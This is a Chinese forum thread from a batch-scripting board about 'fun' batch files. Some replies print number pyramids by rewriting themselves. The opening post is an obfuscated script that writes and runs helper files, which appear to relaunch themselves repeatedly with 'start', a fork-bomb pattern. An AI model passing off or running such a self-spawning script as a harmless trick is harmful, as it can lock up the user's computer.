好玩的批处理
bat吧
全部回复
仅看楼主
level 13
IBM__007 楼主
[一楼喂熊]
2011年11月30日 07点11分 1
level 13
IBM__007 楼主
@echo off
set "str1=::"
set "str2=:: ::"
set "str3=:: :: ::"
set "str4=:: :: :: ::"
set "str5=:: :: :: :: ::"
set "str5=:: :: :: :: :: ::"
set "str6=:: :: :: :: :: :: ::"
set "str7=:: :: :: :: :: :: :: ::"
set "str8=:: :: :: :: :: :: :: :: ::"
set "str9=:: :: :: :: :: :: :: :: :: ::"
setlocal enabledelayedexpansion
(
echo @echo off
echo set str=sta
for /l %%i in (1 1 9) do (
echo %%%%i cmd /c "%%~f0" !str%%i!
)
echo set str=%%str%%rt
echo echo hello word!
echo ^(
echo echo @echo off
echo echo cmd /c %%str%% /b "%%~f0"
echo echo cmd /c %%str%% /b "%%%%~f0"
echo ^)^>fz.bat
echo cmd /c fz.bat
)>1.bat
1.bat
pause>nul
2011年11月30日 07点11分 2
level 8
没看懂啥意思?参数?那我也来一个。。。。。
@echo off
findstr /v t %0>1.bat&1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
echo;%*
%*
pause
2011年11月30日 07点11分 3
level 13
IBM__007 楼主
我也没看懂啥意思
2011年12月02日 00点12分 4
level 8
1-9金字塔:
@echo off&find /v "@"<%0>1.bat
@11
echo %*
if
#%9==#
%* 1 1
pause
9-1金字塔:
@echo off
findstr /v 1 %0>1.bat&1 1 1 1 1 1 1 1 1 1
echo;%*
%*
pause

2011年12月02日 07点12分 5
level 8
findstr /v 1 %0 改成 findstr /v f %0 更好些,比较不浪费力气
2011年12月02日 07点12分 6
level 13
IBM__007 楼主
嗯 1>&2是复制句柄吗
2011年12月04日 08点12分 7
level 9
额...纯粹灌水.........................................................
2011年12月04日 08点12分 8
level 13
IBM__007 楼主
灌水怎么的?
2011年12月04日 08点12分 9
level 1
LZ的批处理是什么意思
2011年12月04日 09点12分 10
level 8

2011年12月04日 11点12分 11
level 9
我是说我灌水!我换了个头像看看成功了没!
2011年12月04日 13点12分 12
level 13
IBM__007 楼主
cmd /c
2011年12月06日 06点12分 13
level 13
IBM__007 楼主
e 如此不好意思啊
2011年12月06日 06点12分 14
level 13
IBM__007 楼主
有什么用呢
2011年12月06日 06点12分 15
1